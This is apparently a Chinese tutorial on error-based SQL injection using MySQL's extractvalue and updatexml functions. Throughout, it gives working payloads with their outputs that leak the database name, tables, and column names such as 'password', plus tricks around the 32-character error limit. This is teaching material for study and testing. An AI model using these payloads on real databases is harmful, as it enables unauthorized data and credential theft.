extractvalue函数原理
这是一个对xml文件进行查询的函数,更准确地说,它是会从目标xml文件中返回所包含查询值的字符串,标准语法为:
extractvalue('XML_document','Xpath_string')
//即
extractvalue('目标xml文件名','在xml中查询的字符串')
看得出来第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径
/该xml文件/要查询的字符串
进行查询(这里涉及到Xpath语法,未了解深,不知道此处表达是否会有误),如果我们输入的Xpath_string
不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。
- 此处的
XML_document
可以是anything。
示例
本文mysql版本:5.7.26
Xpath没问题的情况下
mysql> select (extractvalue(1,(database())));
+--------------------------------+
| (extractvalue(1,(database()))) |
+--------------------------------+
| |
+--------------------------------+
1 row in set (0.00 sec)
//在1中查询不到database()的结果,但是也没有语法错误,所以不会报错
用concat
函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串
mysql> select (extractvalue(1,concat(0x7e,database())));
ERROR 1105 (HY000): XPATH syntax error: '~security'
修改database()
部分可以爆表、列、值。
值得注意的是,extractvalue函数一次只能查询32位长度,在爆表、列、值的时候
- 需要加上
limit x,1
逐一查询mysql> select 1,2,(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1)))); ERROR 1105 (HY000): XPATH syntax error: '~emails'
- 用group_concat函数把查询结果分组聚合,然后用
and xxxxx not in 'xxx','xxx'
过滤掉前面回显的mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'users' )))); ERROR 1105 (HY000): XPATH syntax error: '~user_id,first_name,last_name,us' //以上用group_concat未过滤的只能显示32位长度 mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'users' and column_name not in ('user_id','first_name','last_name'))))); ERROR 1105 (HY000): XPATH syntax error: '~user,password,avatar,last_login' //注意:我在编辑md时手动回车了。
- 用
substring()
函数截取mysql> select (extractvalue(1,concat(0x7e,substring(hex((select database())),1,32)))); ERROR 1105 (HY000): XPATH syntax error: '~7365637572697479' //substring(hex(aaa),x,y)中,x为从起始偏移值,y为长度,可变
updatexml函数
顺便讲一下这个函数,跟extractvalue
基本相同。
顾名思义,这是个修改xml文件的函数,标准语法为:
updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')
其他都一样。
PS:据说高版本的mysql已经修复了该bug
示例
这里只给报错payload:
mysql> select (updatexml(1,concat(0x7e,(database()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~security~'
//第二个0x7e可以略去,但是第二个1不可略去,会导致函数不完整的报错